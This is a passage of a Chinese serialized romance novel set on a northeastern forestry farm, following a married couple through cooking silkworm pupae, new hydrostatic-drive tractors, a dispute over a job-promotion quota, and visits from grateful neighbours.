严雪忍不住再次抬眼打量对方,男人没看她,倒是垂眸帮她洗手洗得认真,洗完还拿过毛巾给她擦干。
这服务可真到位,除了小时候和摔破头躺在炕上那几个月,严雪还没被人这么伺候过。
大概祁放也没这么伺候过别人,掀眸看她一眼,又落下,“我给你带了点东西。”
这怎么这么像继刚做错了事怕她责怪,看着脸色讨好她的样子呢?
严雪挑挑眉,男人已经走进屋,把她当初带到山上那个布兜打开。
和她带去的时候一样满,不同的是里面的吃的已经都被换成了蚕茧,密密麻麻,比他们上次捡到的多多了。
严雪忍不住多看了男人一眼,“你不会把附近几个山头的蚕一锅端了吧?”
祁放竟然神色一顿。
“还真一锅端了?”严雪睁圆了一双大眼。
这得花多长时间?上次他们一路走一路留心,才只捡到十几个。
祁放也不知道想到哪里去了,听她这么说,一顿,“明年我想办法去邻省给你买。”
“我又不是非得吃这个。”严雪有些无语。
但心里那点别扭归别扭,人家既然连赔礼都送了,她也不想揪着没完,毕竟她也觉得自己那气生得有点不像自己。
就是到底还别扭着,那天的事她没有提,也不想问,只和男人把蚕茧拆了,准备当天就吃。
这都四月底了,再不吃,茧蛹该变成飞蛾了。
这回下锅煮,用油煸,一切都很顺利,不多会儿诱人的香气就飘满了不大的一间半土屋。
严雪将东西从滋滋作响的锅里盛出来,装了满满一大盘,祁放接过去刚要端上桌,有人闻着味儿来了,“弄啥呢这么香?”
严雪还没转过身,面朝着门这边的祁放已经一眼扫过去,当时就把来人钉在了那。
“咋啦?我来的不是时候啦?”
刘卫国一只脚已经迈进了门里,看看屋里的两人,也没看出什么不对的气氛。
“没,你来的正是时候。”严雪笑,“每回我一做点好吃的,你都能赶上。”
听她这么说,刘卫国可就反应过来了,瞅了祁放一眼,“那我先假装没来过,过一会儿再来?”说着作势要退出去。
显然这就是做做样子,没想到祁放竟然淡声道:“也行。”
刘卫国当时就停在了那,弄得严雪差点笑出声。
“行了,你别逗他了。”她推推男人。
祁放低眸看了眼按在自己腰间那只小手,没再说什么,端着盘子进去了。
刘卫国这才把门外那只脚也迈进来,还提进来一个铁皮桶,“以前也没见他这么抠啊,这结了婚是咋了?”
“他逗你玩呢。”严雪帮男人解释。
刘卫国却哼哼着不信,“快拉倒吧,他宁愿自己吃撑着,也不带给人一口的。”
人进来,严雪才看清桶里竟然全是鱼。刘卫国还不是自己一个人来的,身后跟着脸上红扑扑、眼睛还在发亮的周文慧。
严雪一下子就懂了,这货八成是带着对象去展现自己的长项去了,“你们去河里钓鱼了?”
“不是钓的,下坞子坞的。”刘卫国放下桶,说,“上次修手表那事儿不给你家祁放添麻烦了吗?这是我俩的赔礼。”
严雪好笑,“那事儿不是当时就说开了?你还帮我们弄了一下午的柴火。”
“那不一样,”刘卫国一脸正经,还拿眼尾瞟了下周文慧,“道歉是道歉,我俩的赔礼是我俩的赔礼。”
第三遍“我俩”了,严雪要是再看不出来他还想顺便秀个恩爱,那就是傻子。
这她就不打算推拒了,反正也是狗粮的附赠品。
倒是周文慧这姑娘跟着过来,不只是为了送鱼,还给严雪带了个消息,县土产供应科的人答应帮严雪去找那几样海藻了,“说是前两样不一定,但紫菜肯定能找到,问你要多少。”
紫菜是几种原材料中出胶率最低的,但实在弄不到另两样,也只能用它了。
严雪想了想,“另两样有的话就买十斤,紫菜的话买二十斤。”
顿一下又问:“是干的吧?”
“应该是干的。”
这年代湿的运输太不方便了,海带就是晒干了卖的。
做琼脂的话,干的需要先泡发,但不影响出胶。
周文慧认真记下,正要告辞,严雪笑着叫住他们,“来都来了,吃点再走吧。”
“不了,我去食堂吃就行。”周文慧赶忙拒绝。
倒是刘卫国在门外就被味道勾住了,实在好奇得不行,“你弄的啥?回去我也让我妈弄点。”
“那可难了,附近几座山都让祁放一锅端了。”严雪笑起来,干脆拿了碗筷进屋拨了点,“是山上捡的蚕蛹,你们看看能不能吃得惯。”
周文慧也觉得闻着很香,但一看东西,就不太敢吃了。
刘卫国却不怕那么多,劈柴劈出来的柴虫都烤着吃过,接过来夹了一个,“这东西很香啊,比肉还香。”
表面因为煸得入味,已经有些酥脆,咬进去,内里的蛋白质又是软嫩的。二者结合在一起,完全俘获了他的味蕾。
他立即夹起一个给周文慧,“尝尝,平时想从祁放嘴里抠点东西可难了。”
周文慧低头看看,还是不敢吃。
“好吃的,”刘卫国强调,“要不这玩意儿山上没几个,祁放还能给一锅端了?”
严雪也叫她尝尝,周文慧也就红着脸,鼓起勇气尝了一个。
吃的时候她甚至闭起了眼,有种英勇就义的感觉,真咬下一小口嚼了嚼,又忍不住睁开眼,“还真好吃!”
“好吃吧?”刘卫国也顾不上自己了,赶忙把碗递到她面前。
周文慧又吃了两个,却是说什么也不肯再吃了,刘卫国也没多吃,“你问问祁放还有哪几个山头没端,我这就去给端了。”
这话显然是在开玩笑,正好祁放从里屋出来,严雪也就扬扬下巴,“你自己问。”
“那还是算了,我怕他让我吐出来。”刘卫国麻溜儿滚蛋,“你们忙,我们就先回去了啊。”
严雪把之前腌的肉拿出来一些,又炒了个大叶芹,这顿饭才算齐活了。
山菜好吃,但也格外吸油,如果炒菜的时候油不放足了,口感上就会有些柴。
祁放照例接过去,严雪也摘了围裙,“芹菜还是有点嫩,味儿不浓,过两天我再上山薅点,五月一包饺子吃。”
提到上山,她一顿,不自觉又想起男人那天对她说的话。
祁放也想到了,抬起眼很认真地看她,“那天是我后怕,说错话了,我没有不叫你上山,不叫你和人说话的意思。”
他这一认真道歉,严雪那点别扭感又来了,“我知道,我当时就是情绪不好。”
下意识便提起了别的话题,“刘卫国送来的鱼不少,大的能凑出来一盘子,小的也有大半盘,你打算怎么吃?”
“都行。”祁放对吃向来不在意。
他给严雪夹了几个茧蛹,见严雪只字不提那天的事,顿一顿,也没再说。
有些糟心事还是别让严雪知道了,省得破坏她吃饭的心情,上一次她就没吃上茧蛹。
而祁放不说,严雪也就当这事翻篇了,没想到刚吃完饭,刘卫国又来了,手里还提着铁锹和镐头,“都吃完了吧?林场那四台拖拉机到了,场里几个拖拉机手正在那试开,让咱们这些年轻的去把山上的大石头清清。”
“这么早就到了?”严雪还以为得快秋天呢。
“新东西,怎么也得试开一阵子,不然谁敢让它上山采伐。”
刘卫国提醒祁放:“今年我爸和胡叔都推荐了你,这时候你可得抓紧点表现,别给人机会抓你把柄。”
上山清石头这种活就是义务劳动,不给钱的,不过这年头多的是义务劳动。
场部盖房子、林场修路……全是职工利用下班时间干的,忙起来各家的孩子都得跟着上。上次巡山给了奖金,还是因为有危险性。
这次清石头活倒是不多,可去可不去,但祁放要是在这时候不去,可就容易让人做文章了。
祁放也清楚他的好意,眼神往里屋门外一递,“你等我换个衬衫。”
“都是大老爷们儿,怕啥啊?”
刘卫国嘴上说着,人还是往外走了,走到一半又觉得不对,“嫌乎脏你换条裤子就行,换衬衫干啥?”
里屋只飘出轻描淡写的一句:“严雪新给我买的。”
“我靠!”刘卫国忍不住了。
饭前他才过来秀过一遍,饭后就被人直接秀到了脸上,祁放这绝对是故意的!
两人赶到的时候,梁其茂和另一个拖拉机手已经开始在平地上试机器了。
郎书记、于场长、徐文利还有几个陌生面孔都站在边上,看到两人过来,于场长还往这边瞟了一眼。
“看到没?准备抓你把柄的。”刘卫国小声说了句,立马扬声问:“都清哪片山啊?”
试开的区域是早就划分好的,郎书记抬手一圈,“就那边,到半山腰的大石头那。把太碍事的清一清就行,其他的不用管。”
旁边一个陌生人也笑道:“简单清一清就可以了,咱这集材50号称‘爬山虎’,可不怕路难走。”
不同于包产到户后,因为土地被切分成小块,小型四轮拖拉机开始盛行,这时候农业的主力军还是履带式拖拉机。
而林用拖拉机又和农用不一样,履带更宽,动力更强,以适应林区崎岖的山路。车斗也被简单的拖斗所取代,运输时将原条大头固定在斗上,小头拖地,即可迅速穿梭林间,方便又快捷。
这会儿没有负重,集材50运转起来还要更加自如,很快就沿着众人清出来的山路上了山。
刘卫国站在远处看了看,“这回批下来的是挺有劲儿哈,那么陡的坡,那么深的沟,说过去就过去了。”
祁放忙着自己的,只“嗯”了声,并不是很感兴趣的样子。
“听说发动机也换成了烧油的。”刘卫国继续说,“以前老毛子那TY-12还得烧柴火瓣子,开一次老费劲儿了。”
其实后来国内还从苏耳关引进了一批J40,不用烧柴火,但金川林场没有,祁放依旧没吭声。
在做听众这一点上,祁放远不如他媳妇儿严雪,刘卫国讲得有点不那么痛快。
但他还是接着说了,“听说咱林场这批还跟其他集材50不一样,用了什么最新的静液压系统……”
话没说完,一直让人怀疑到底在没在听的祁放倏然抬眸,“刚你说什么?什么系统?”——
第二年,祁放去场部找郎书记开介绍信。
郎书记:目的地?
祁放:邻省。
郎书记:出门理由?
祁放:给我媳妇买茧蛹。
郎书记:……
如果我把字拆开或者中间有符号,小天使们就不用捉虫了,那都是口口[爆哭][爆哭][爆哭]
名额
==============
刘卫国哪知道什么静不静液压,他就是听别人吹完这批国产集材拖拉机有多牛逼,回来跟哥们儿八卦的。
祁放看他表情,也知道自己问错人了,又垂下视线,“没事,我就是一问。”
刘卫国认识祁放也有几年了,哪里不知道祁放平时不太会问这些,一提铁锹,“你等我给你问问去。”
他腿快,一转眼就跑出去一大段山路,冲着郎书记那群人去了。倒也没问别人,找上的是小修厂的厂长徐文利。
一来刘大牛跟徐文利关系好,二来这批拖拉机以后也是要小修厂修的,徐文利知道的肯定更多。
不多会儿,他就提着铁锹又跑了回来,“问过了,是静液压系统。说是去年才研究出来的,不用液压缸,比以前那个省不少油,咱这是第一批用上的。”
说着又有些好奇,“咋啦?对这玩意儿感兴趣?”
“有点。”祁放极力稳定着情绪,但还是顿了顿才道:“谢了。”
“多大点事儿,你不问,我也好奇是个啥玩意儿。”刘卫国摆摆手。
说着又忍不住啧了声,“你不知道,我听徐叔说那些听得脑袋都大了,就记住一个不用液压缸,省油。”
用静液压传送当然能降低能耗,没人比祁放更加清楚了。
他还知道静液压传动在高速运动系统或减速系统中运动平稳、噪音小、精度高、寿命长,而且不受扭矩、冲击和震动的影响,因为他和老师的主要研究方向就是静液压传动在工程机械上的应用。
只不过国内机械工程起步晚,基础差,不管是第一台起重机,还是第一台拖拉机,都是五几年从苏耳关进口的。
之前的东方红54也好,如今的集材50也好,也都是在苏耳关专家的指导下,由斯大林54和TY-12研发改良而来的。
而苏耳关受到西方技术封锁,五几年的技术只相当于西方四十年代的水平,国内还要更差。早在57年的时候,国外就已经有人做出了第一台纯静液压传动的拖拉机,他和老师的研发进度却始终不够理想。
如今苏耳关专家已经撤出国内近十年,老师也不在了,静液压传动却被应用在了这批集材50上……
祁放不想往最坏的方向去想,毕竟他没见到实物,国内研究这方面的也不可能只有他的老师,心还是不可控制地沉了下去。
所以山上清完他没有急着回家,而是和刘卫国告别后脚步一转,去了河边。
上次他情绪不对说错了话,惹了严雪不高兴,总不能这次还带着情绪回去,让严雪看出来。
这些都是他自己的事,本也没必要再拖一个人下水,陪着他一起不得安生。
一直到天快黑透,祁放才回去,进门屋内已经点起了灯,严雪正在把他白天洗的衣服放到炕上烘。
四月底还是冷了些,有时候衣服晒在外面,还不如烘在炕上干得快。严雪听到他进来,并没有抬头,“怎么弄了这么长时间?晚上饭我给你放锅里了,你自己端出来吃。”
柔和的灯光下小小一只,因为刚洗过头,头发还松松披散着,衬得一张小脸愈发只似巴掌大。
大概是头发垂下来有些碍事,她拿着东西随意用手背撩了下,没撩好,很快又垂了下来。正准备放下东西再撩,一只手从后面伸过来,帮她别到了耳后。
严雪完全没想到,本就准备放下的袜子就这么歪了下,朝地上落去。
祁放也没有想到,赶忙伸手帮她去捞。
还好他手长,赶在东西落地前最后一秒抓住了,但人也紧紧贴在了严雪背上。
为了稳住身形,他另一只手还紧扣着严雪的肩,两人身形交叠,好像严雪整个人都被他罩在了怀里。
祁放一顿,怀里同样准备去捞东西的严雪显然也是一愣。
哪怕之前搂着一起睡过,但那时多是为了安抚严雪的情绪,两人都很有默契地留出了一点空间,何曾贴得这样紧过。
过了片刻,见男人始终未动,似乎还没回过神,严雪一把从他手里抢过袜子,“你洗手了吗?别又得洗一遍。”
觉得人实在碍事,转身的时候还拿胳膊肘拐了一下。
祁放就顺势退了半步,手也落了下来,“洗了,回来就洗了。”
“那也不能悄没声的,突然就伸手,你吓了人一跳你知不知道?”
严雪还是说他,一面说一面将袜子一只只展开铺在炕上。
忙碌的动作,埋怨的话语,还有这满眼满屋的生活气息,突然就把祁放拉出了情绪的泥淖。
他“嗯”了声,想想觉得回得太简单,又说:“知道了。”
说完,竟然还又伸出手,帮严雪把另一侧头发也弄了下。
这下严雪真有些不自在了,下意识又用手别了遍,问他:“你不吃饭?”
“换了衣服就吃。”祁放拿了平时在家穿的干净衣服。
人离远了,严雪手头也忙完了,停了停,又把两边头发都拢了遍。
刘卫国送来那一大桶鱼,最终小的被严雪拿来酱了,大的则又养了两天,和大叶芹包的饺子一起,陪两人过了一个还算丰盛的五月一。
五一过后没多久,轰轰烈烈的植树造林开始了,严雪算是真正见识到了林场有多少人,连小学三年级以上的学生都在老师的带领下上了山。
树苗是之前苗圃就培育好的,众人分了组,有人挖坑,有人填土,有人浇水。
除了操作步骤,安全问题也被再三强调,尤其是注意扎紧裤腿袖口,少去草稞子。
每年春天除了吃到大叶芹幌子中毒的,薅菜最主要的危险还是来自于草爬子,一种学名叫蜱虫的虫子。
这种虫子会钻到人的皮下,普通的还好,白色的有剧毒,一旦被叮了就会得森林脑炎,严雪她们家属队就有一个女同志的丈夫是因为这个死的。
一般林场职工工伤身亡,都会由家属顶上,直接成为正式工,除非家属像郭大娘这样已经到了退休的年龄。但这位女同志不幸就不幸在丈夫不是出工伤,而是上山薅菜时没的,这种情况林场也没法直接给她安排工作,只能继续这么在家属队干着。
好在今年林业局有一百多个转正的名额,金川林场分到了两个,林场照顾这位女同志,其中一个直接给了她。
另一个综合考虑工作年限,工作表现,最终选定了严雪隔壁郭长平的媳妇金宝枝。
消息传到郭家,对从年前起就一直愁云惨淡的郭家来说无疑是个巨大的惊喜。
“三个月了,可算有点好信儿了,我这心口就像整天堵着块石头似的。”郭大娘私底下跟严雪说。
小儿子躺在炕上,大儿子夫妻负担着全家,孙子还小,老太太心里有再多苦,也只能偶尔和严雪说说。
这姑娘不爱嚼舌根,也不像有些人,表面在安慰你,其实心里在拿你的痛苦找优越感,巴不得你过得越苦越好。人长得又甜,还整天一副乐呵呵的样子,有时候甚至只是看到她的笑,都让人觉得心情好了不少。
果然严雪十分捧场,“那可真是件大好事,我就说怎么早上听到喜鹊叫,原来应在您家了。”
“就你会说话,我早上怎么没听到?”郭大娘显然被她说得很开心。
严雪也乐得哄老人家,“那是您年纪大了,耳朵不好使,我多年轻啊,周岁才十八。”
郭大娘眼见着更见牙不见眼,“行行你年轻,我生的黄豆芽,给你装点儿。都摘好了,洗洗就能下锅,也省得你忙了一天还得费劲儿弄饭。”乐颠颠进屋去了。
祁放看着严雪笑盈盈从外面进来,“你好像很讨老人家喜欢。”
郭大娘是,卫国他妈也是,只要提起严雪,笑容就止不住。
虽然这次转正轮不到严雪,但至少给了严雪一个指望,何况选上的还是跟她关系不错的邻居。她心情好,也就笑着反问了一句:“就只有老人家喜欢我吗?别人就不喜欢我了?”
“那倒不是。”
铁蛋儿也很喜欢严雪,还有刘家几个小的,甚至以前的卫国……
祁放没再往下想,成功将大地锅点上,“一会儿吃完饭我出去一趟。”
严雪“嗯”了声,还没问,他已经主动交代,“小修厂今天拆拖拉机,我过去看看。”
要想修,就得先会拆,为此县里专门派了一个工程师下来,教他们怎么弄。祁放既然起了怀疑,自然要去看看,是或不是好歹亲眼验证过,比一个人在那胡思乱想强。
严雪虽然有点意外他怎么对拖拉机感上兴趣了,但他以前好像也不会这么主动跟她交代行程,解释原因。
她点点头,“那我给你留门。”
“也不会太晚,”祁放说,“八点之前我就回。”
没想到吃完饭,碗还没收拾下去,场部广播响,让所有家属队成员包括知青,都去场部开会。
“干了一天的活,怎么这个时候开会?”严雪不明所以。
两人将碗筷放进大地锅,没来得及刷就出门了,出门碰上隔壁郭长平媳妇金宝枝,金宝枝显然也一无所知。
到了场部,其他家属队成员也一头雾水,都说通知得突然,家里活还没干完呢。
等不多久郎书记到了,虽然通知里面说了包括城里来的知青,知青却没来几个,只有周文慧和另外两个姑娘,两个平时比较老实的男知青。倒是家属队这边全来了,除了林队长,不在家属队上班的于翠云甚至也戴着夹板来了。
这就让严雪多看了对方一眼,总觉得这个人这时候在这里出现,八成不是好事。
然后就被于翠云看了回来,“我虽然不是家属队成员,但也是职工家属,过来看看不犯毛病吧?”
严雪只是笑,“我就是好奇看一眼,也没说什么。”
本来就够扎眼了,现在还不等人问就自己跳出来,生怕别人注意不到似的,还用她说什么?
看人都到了,郎书记没管那几个知青,直接开口,“今天叫大家过来,是想说说转正名额的事。之前根据各位同志在家属队的工作年限和工作表现,场里选定了尤金凤同志和金宝枝同志,但是呢……”
这个“但是”后面才是重点,众人全都竖起了耳朵。
果然郎书记紧接着道:“有同志提出了不同意见,认为金宝枝同志不符合转正条件,希望能重新进行推选。”
所有人都看向了金宝枝,金宝枝脸上也露出了明显的错愕,继而抿紧唇。
她这人话不多,不然也不会在李树武媳妇嘴贱的时候直接动手,此刻突然被这么个意外砸中,一时竟然不知道该说什么。
倒是李树武媳妇当即便有些幸灾乐祸,只是碍于郎书记在场,没有出言嘲讽。
还是严雪直接问了出来,“那位同志认为金宝枝同志哪里不符合条件?”
郎书记答得也直接,“她觉得金宝枝同志工作态度不积极,全家属队最忙的时候还请了近一个月的假。”
别说严雪了,家属队其他成员都觉得这理由纯属是扯淡。
尤金凤嘴快,甚至直接说了出来,“这不胡扯吗?谁不知道小金请假是因为家里有人受伤,她得在医院照顾。”
反正她的名额是确定了,另一个给谁都是给,给金宝枝还更让人信服点。
有那自知工作年头短,今年肯定轮不上的,还有干脆就是心直口快,爱说公道话的,也帮着说了几句。
“就是,谁不知道金宝枝最能干,每年干完季节工还要去农业队。”
“这人是眼红了吧?睁眼说瞎话也没有这么说的。”
“大家的意思,是觉得金宝枝拿到这个名额实至名归,不存在任何问题?”郎书记跟众人确定了下。
众人都点头说是,就连李树武媳妇也没敢在这时候跳出来,选择了沉默。
眼见着事情就要这么定下来,吊着胳膊在旁边看的于翠云插了句:“也不能说没有问题吧?她不是成分不好?”
刚还七嘴八舌的人全部一静,朝她看了过来,尤其是金宝枝。
这东西是写在户口纸上的,并不是谁都能看到,在场有很多人压根儿不知道,她是怎么知道的,还在这个时候说了出来?
严雪眼睛尖,还注意到郎书记也看了于翠云一眼,并不是十分高兴。
第 33-34 章
这个感慨严雪不是第一次有了,只是以前都在心里想想,还是头一次说出来。
主要以前两人交流不多,就算说话,也多是有事说事,完全没有说这些的气氛。倒是现在聊得变多了,偶尔也能开两句玩笑,话到了这里,严雪也就顺嘴说了。
没想到祁放竟然定定看着她,半晌没说话。
或许是15瓦的电灯泡不够明亮,又或许男人瞳仁生得太黑,严雪总觉得那双眼睛幽幽暗暗,有些让人分辨不清。
这就让人不那么舒服了,好像她这话又触到了他某根敏感的神经,惹了他不快。
严雪瞬间没了谈话的兴致,眼也错开了,对方目光却始终凝着她,突然开口问:“你不知道?”
“知道什么?”这严雪就有些搞不懂了,复又望回男人脸上。
总不能这里面还有什么隐情吧?
比如说他原本成绩挺好的,但跟她上辈子一样,因为家里的原因没能读完。
又或者他成绩挺好的,也读完了高中,但正准备考大学的时候碰上了那几年,只能来了林场当工人……
从年龄上来说更像后者,从他父母双亡又和姑姑一家关系紧张上来说更像前者。
严雪也不是很敢确定,此刻祁放望着她,脑海里的想法却只有一个——
她不知道他还读过大学。
她竟然根本就不知道他读过大学!
就算两人断联前来往就已经很少了,一年都未必能有上一两封信,但他十四岁考上大学,她怎么可能不知道?
当时严家还特地送过一份贺礼,是一支钢笔,把契书寄回给严家的时候,他还把东西也寄回去了。
除此之外,她当时也写过一封信祝贺他,总不能那封信是假的,严家根本没有告诉她吧?
严家又不可能那么早就预知到后面的一切,准备和他退婚……
实在想不通,祁放望着严雪的目光也便愈发深邃探究,“你头有没有受过伤?”
话题转得太突然,严雪明显愣了下,才下意识摸摸右额上方,“你看到我头上有疤了?我还以为有头发挡着看不出来。”
她的头竟然真的受过伤?
祁放起身过去,在严雪刚刚摸过的地方拨了拨,果然看到掩藏在头发下面一道寸许长的伤疤。
这让他不禁蹙紧眉,“怎么弄的?”
一面问,一面小心用指尖触了触,像是那里还没长好,现在依然会疼。
严雪被他摸得有点痒,下意识偏了偏,“不小心在石头上磕的。”
总不能说是因为跟大伯娘白秀珍争吵,被白秀珍推了下吧?
她实在没有跟人诉苦的习惯,身边也没有个人可以让她诉苦。
不管是上辈子的爸爸,还是这辈子的继刚,甚至奶奶,都比她更需要人关心,更需要人安慰。
严雪把被男人拨乱的头发又重新顺好,“挺吓人的吧?当时缝了好几针呢。也是我会摔,伤在头发里面,不然就要破相了。”
她竟然还能笑得出来,还能不无庆幸地说,还好是伤在了头发里面……
祁放感觉心里不太舒服,很不舒服,不自觉抿紧了唇,“你家里就没人管吗?”
“有啊,”严雪说,“继刚天天照顾我,给我擦手擦脸,喂水喂饭,还对着我的伤口吹吹。”
那时候她的记忆很混乱,都不知道自己是活在上辈子还是这辈子,也不知道疼的是伤口还是乱成浆糊的大脑。就知道有个小少年天天守着她,怕她冷怕她饿,怕她没气了半夜起来好几趟摸她的呼吸,怕她担心只敢等她睡着了偷偷抹眼泪……
严雪只要想起来就忍不住泛起微笑,温暖的,好笑的,带着一点点怀念的。
祁放却只觉得她故作坚强,“就只有继刚?”
“不啊,还有奶奶。奶奶做的鲅鱼馅饺子可好吃了,可惜我当时头上有伤,不能吃,等能吃的时候大海市已经过了。”
大海市是老家每年春天的三四月,那时候繁殖期快到了,鱼虾海鲜都会回流,又胖又鲜美。
严雪问祁放:“你喜欢吃咸鱼吗?老家那边的鲅鱼晒成咸鱼也很好吃,你要是喜欢,下次我想办法弄点……”
话还没说完,人就被拥住了,鼻尖直接贴上了男人的胸膛,还有只手在后脑摸了摸。
怎么又摸头?
脑海里才闪过这个念头,揽住她的手臂已然收紧,还有什么在她发顶一触即离。
严雪诧异抬脸,恰好看到男人刚刚收回的唇和漂亮的下颌线条。
见她望来,他眼神甚至顿了顿,再次低头,一个轻浅的吻落在她额头。
很轻很浅,如果不是她看着,甚至都可能怀疑自己感觉错了。
也不含任何其他意味,可严雪还是垂下眸,睫毛不觉颤了颤,整个人都陷入了一种不自在中。
可能是太少被人安慰,觉得不适应吧……
严雪心里想,也就把男人一推,“八点多了,我得去洗漱了。”匆匆出去了。
祁放倒是没什么特殊的表情,然后等人一消失不见,抬起手摸了摸耳根,接着是唇……
因为这个插曲,严雪都没等祁放画完,就自己把被褥放下了。然后看一眼男人,背对着他迅速把衣服脱了,整小只钻进被窝。
祁放侧坐在写字桌边,也没往她那里看,倒是等她没动静了,才回眸瞧了一眼。
因为背对着灯光,年轻姑娘只露出鸦羽似的满头青丝和揪在被头上的小手,安安静静,也不知道是不想说话,还是已经睡着了。
祁放站起身,轻轻走过去将灯关了,手电筒装上电池只对着他这边,继续画。
画完已经是九点多,正要上炕睡觉,他站在炕边犹豫了会儿,又把手电筒打开,坐回桌边,提笔写了一封信。
信是写给他以前在燕京少有的一个朋友的,严雪既然不想说,他也不好一个劲追问,但有些事必须得了解一下了。
怎么好好的严家小姐受了伤,身边就只有一个弟弟一个奶奶在照顾?
严父呢?严母呢?严家就没有其他人了吗?
也是他忙学业忙项目,只和严雪有联系,都没怎么关注严家那边,也不知道严雪和弟弟是不是有了后妈。不然好好的,严雪的户口怎么会改到了乡下。
越写眉头越深,以前他没关注过的一些细节,现在都成了他想问又没法直接问的。
就是不知道这个地址对方还在不在用,又会不会给他回信,他记得对方家里当初没受到牵连……
祁放写完,再一次拿着信纸陷入了迟疑,最终看一眼炕上熟睡的严雪,还是去抽屉里找了信封。
祁放一开始关灯的时候,严雪其实还没睡着。但她这个人不喜欢胡思乱想,躺着躺着,没多久就真的睡着了。
第二天早上出门,她才看到祁放手里多了封信,也没问。
毕竟她给老家写信人家也没有问,要是想让她知道应该就直接跟她说了。
去到家属队的集合点,林队长今天倒是来了,他媳妇程玉贞却没来,据说是肚子不太舒服。
这个肚子不太舒服就有很多理解了,可以是吃坏了,也可以是痛经,甚至有人“啊”了一声,“是不是怀上了?”
林队长看了对方一眼,低咳着没理会,严雪后来才知道他和程玉贞结婚快十年了,一直没孩子。
“都说是他受伤把身体弄坏了,他媳妇儿才怀不上的,不然他哪能处处让着媳妇儿?”
“是吧,上回小严那事儿不就没个说法?”
严雪对这些向来是不讨论,不参与,你说我就听着,你要是问我我就打哈哈。倒是金宝枝显然把她帮自己出头那份情记牢了,造林结束第二天,严雪还没缓过来乏,就拎着二十斤米二十斤面上了门。
这年头粮食可是紧俏货,别看严雪家不少见荤腥,吃的却只有她和祁放每个月固定的分粮。
林场谁家里要是小子多,不够吃,要么添点不用粮票的土豆,要么找农村买高价粮。
这个高价是真高价,供应内的玉米面才9分钱一斤,自己买却得三毛。三毛一斤买回来的还不是面子,而是带皮的玉米粒,要自己在炕上烘干了上磨去推,更别提大米和白面了。
她着实被惊了一跳,“你这是干嘛?”
“谢谢你那天帮我说话,”金宝枝答得干脆,“我娘家就在这附近的大环村,我回娘家弄的。”
农村因为有自留地,勤快点的还可以偷着开小片荒,粮食上面的确能充裕些。
“我娘家别的不会,就会种地,不然当年也不能攒下钱每年一亩两亩地买地,最后……”
金宝枝没继续往下说,拍拍手就准备走人,“以后你们要是粮食不够吃,就找我,我回娘家给你们弄。”
“哎你等等!”严雪还是追了上去。
金宝枝站住脚,“你可别跟我说要算钱。”脸色有点紧绷。
严雪本来的确是想这么说的,闻言又转了口风,“我是想问问你多少钱弄的,要是还能弄,能不能再每样给我弄二十斤。”
听说严雪还要再买,金宝枝脸色有所缓和,“明天我回去给你问问。”
“不着急,这四十斤就够我们吃一阵了。”严雪进屋给她拿了二十块钱做定金,“多了少了再说。”
等弄清楚价,再把这次差的补给对方就是。让人家帮着跑跑腿就行了,哪能真让人一送就是四十斤粮食。
没想到刚送走金宝枝,又有人来了,是有阵子没见的郎月娥。
自从郎家放出消息要告康培胜强女干未遂,康家人又是来闹,又是来求,郎月娥她妈怕郎月娥受影响,让她去她舅舅家了。正好这事儿一出,林场肯定得议论,她不在,耳根子也能清净清净。
一晃大半个月过去,郎月娥突然回来,严雪弯起了眼睛,“怎么?那事有结果了?”
“就你最聪明。”郎月娥一下子笑开,眼里都像重新有了光。
她不是一个人来的,旁边还跟着她妈,一听脸上也笑开了花,忙提着东西进来,“这事儿还多亏了你,要不是你……”略压了压声音,“要不是你那主意,我们月娥也没法儿逃出那个火坑。”
严雪被塞了块见都没见过的肉,“上次您不都谢过了吗?”
“上次是上次,这是谢你给我们出的好招。”郎月娥她妈指指那块肉,“鸭绿江新打上来的鲤鱼,月娥回来碰见,赶紧给你买了块。”
“还真有这么大的鱼啊。”严雪很是意外,又低头仔细看了下。
她上辈子那会儿鸭绿江已经很少出大鱼了,能有个七八斤都是大新闻,从她手里这块的大小和形状来看,这条鱼却最少得有一二十斤。
郎月娥她妈点头,“有啊,前年我还碰上过更大的。我们这都是挑最嫩的肚子肉给你切的,你别嫌乎。”
又拉了严雪的手,“你是不知道,为着月娥这事儿我哭了多少场,那天听说康培胜还敢来找月娥,差点没给我气过去。早知道他是这么个东西,当初说啥我也不能把月娥给他。”
说着眼圈就红了,严雪见她想起伤心事,赶忙好奇问:“人调到哪了?”
郎月娥她妈果然忘了伤心,一笑,“鹿皮沟。”怕严雪不懂还特地解释,“咱们县一个挺偏的镇,到县里坐车得三个小时。”
挺偏的镇,代表着镇上也不会有太好的单位,毕竟康培胜走的不是林业体系。
而到县里要坐三个小时的车,再从县里转澄水镇,从澄水转林场,没六七个小时别想到金川林场。
关键是郎家人这次出手这么狠,康培胜以后还敢不敢借着酒劲儿来找郎月娥还两说。听郎月娥她妈那意思,他之前那单位都知道他被人告了,加上他那婚离得不光彩,没调走前他就有阵子不敢去上班了。
“听说花了这个数。”郎月娥她妈压低声,伸手比出一个五,“他家那老房子都被他妈卖了,一家三口得去鹿皮沟租房子住。”
五百块,一个人一年的工资了,也不知道他们家当初娶郎月娥花没花上这么多钱。
而且这还是从好地方往孬地方换,估计康家人找人办这个事的时候,呕都要把自己呕死了。
郎月娥她妈一口气跟严雪说了很多,大有种终于除了心腹大患的感觉。
说够了康家人的惨状,她才似又想起什么,问严雪:“对了,我听月娥说那天跟你们一块儿的还有个小伙子?”
严雪只当她是也想谢谢对方,“嗯,是有位小金川林场的同志。”
“多大岁数了?结婚了没有?你们应该认识吧?”郎月娥她妈立马问。
郎月娥当时就扯了一下她,严雪也明白过来。
郎月娥她妈被扯得没办法,“我就是问问,也没说什么。”眼睛还是看着严雪。
严雪也就实话实说,“我也只见过两三面,不知道对方叫什么。”
“这样啊。”郎月娥她妈显然有些失望,“我听月娥说你们一起的,还以为你跟他多熟呢。”
正好祁放从外面回来,她也就打住了话头,跟郎月娥一起告辞了。
人刚走,严雪正准备去收拾肉,就听男人问:“又是那个送旱冰鞋的?”
也不知道他就听了一句半句,是怎么准确提炼出的这个信息。
严雪有点无语,也没法说自己那点小猜测,“月娥姐和她妈这不是过来谢上回那件事吗?也想顺便谢谢他。”
祁放就没再说什么,低下头拿起香皂旁边的肥皂,也不知道他非要问这么一句有何意义。
严雪把鱼肉掂了掂,觉得怎么也得有个四五斤,“回头我生点豆芽,做个水煮鱼。”又指了柜子上两袋粮,“隔壁宝枝姐送过来的。”
祁放进门的时候就注意到了,“给钱了吗?”
这点倒是跟严雪一样,从不白占人便宜,严雪笑了笑,“我直接给她肯定不要,我又让她买了四十斤,到时候知道了价一块儿给她。”
祁放听了没再说什么,把洗过的水倒进脏水桶,又打了盆清的重新洗。
